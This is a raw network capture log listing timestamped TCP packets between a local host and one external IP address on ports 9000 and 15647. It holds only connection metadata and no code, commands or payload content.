Oct 19, 2024 03:37:09.057527065 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.057573080 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057590961 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057637930 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.057672977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057683945 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057723999 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.069680929 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.098082066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.098120928 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.098130941 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.098221064 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.118175983 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.120703936 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.138549089 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.138597965 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.138722897 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.138734102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.138776064 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.149578094 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.149595976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.149636030 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.149655104 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.149785995 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.149830103 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.149840117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.149841070 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.149873018 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.149960995 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.149971962 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.149986029 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.150012970 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.150099039 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.150110006 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.150120020 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.150150061 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.150171995 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.162906885 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.176265001 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176275015 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176289082 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176299095 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176307917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176317930 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176332951 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.176368952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176369905 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.176424026 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176434994 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176460028 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.176481009 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176491022 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176529884 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.176556110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176578045 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176603079 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.176676989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176687002 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176696062 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176723957 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.176754951 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.176758051 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176785946 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176814079 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176825047 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.176912069 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176923990 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176933050 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.176961899 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.176986933 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.177032948 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177050114 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177093983 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.177110910 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177128077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177180052 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.177244902 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177263021 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177273035 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177314043 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.177344084 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177355051 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177407980 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.177448988 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177494049 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.177520037 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177530050 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177573919 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177573919 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.177651882 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177665949 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177695036 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.177709103 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177752972 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.177776098 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177849054 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177859068 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177901983 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.177966118 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177975893 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.177984953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.178018093 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.178041935 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.179090023 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.183913946 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.218489885 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.218760014 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.218769073 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.218831062 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.258743048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.258750916 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.258888960 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.264642000 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.269665956 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.269702911 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.269711971 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.269726992 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.269752026 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.269809961 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.269819021 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.269829035 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.269840002 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.269856930 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.269862890 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.269887924 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.269953012 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.269969940 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.269982100 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.269999981 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.270020962 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.270037889 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.270103931 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.270112991 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.270152092 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.270169973 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.270179987 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.270221949 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.288549900 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.293435097 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.296394110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.296405077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.296451092 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.296500921 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.296500921 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.296509981 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.296525002 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.296588898 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.296614885 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.296627998 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.296686888 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.296700954 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.296714067 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.296775103 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.296782017 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.296847105 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.296857119 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.296900988 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.296907902 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.296924114 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.296952009 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.296961069 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297002077 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.297074080 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297085047 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297116041 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297122955 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.297127962 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297164917 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.297204018 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297214985 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297255039 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.297280073 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297352076 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297400951 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.297425032 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297435045 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297444105 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297481060 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.297497034 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297540903 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.297563076 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297573090 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297604084 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297611952 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.297616959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297650099 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.297694921 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297708035 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297735929 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297744036 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297759056 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.297770977 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.297784090 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297875881 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297887087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297895908 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.297935963 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.297957897 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.298005104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.298024893 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.298033953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.298064947 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.298142910 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.298194885 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.298199892 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.298213959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.298247099 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.298299074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.298310995 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.298352003 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.298377037 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.298405886 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.298422098 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.298449993 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.338637114 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.338793039 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.338845968 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.338855028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.338867903 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.338912010 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.390084028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.390103102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.390113115 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.390122890 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.390134096 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.390144110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.390156031 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.390158892 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.390192032 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.390213013 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.390234947 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.390255928 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.390305996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.390316010 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.390358925 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.390398979 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.390414953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.390424967 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.390434980 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.390448093 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.390490055 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.397989988 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.402939081 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.409220934 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.416594028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.416631937 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.416640043 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.416675091 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.416702986 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.416717052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.416728973 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.416738987 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.416743040 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.416791916 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.416806936 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.416832924 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.416843891 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.416855097 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.416913986 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.416941881 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.416989088 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.416996002 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.417081118 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417089939 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417099953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417109966 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417130947 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.417157888 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.417188883 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417232990 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.417244911 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417324066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417332888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417342901 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417352915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417373896 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.417399883 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.417437077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417467117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417489052 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.417541027 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417551994 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417561054 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417576075 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417597055 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.417629004 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.417640924 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417686939 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.417707920 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417718887 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417763948 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.417783022 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417792082 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417800903 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417810917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417844057 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.417860031 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.417922020 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417932987 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417943001 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.417978048 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.418001890 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418034077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418045998 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418045998 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.418082952 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.418137074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418178082 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418186903 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418217897 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.418263912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418276072 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418286085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418308020 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.418329000 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.418405056 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418415070 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418471098 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.418492079 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418504000 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418545008 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.418627024 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418637037 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418649912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418659925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.418668985 CEST	9000	49705	213.109.202.97	192.168.2.5
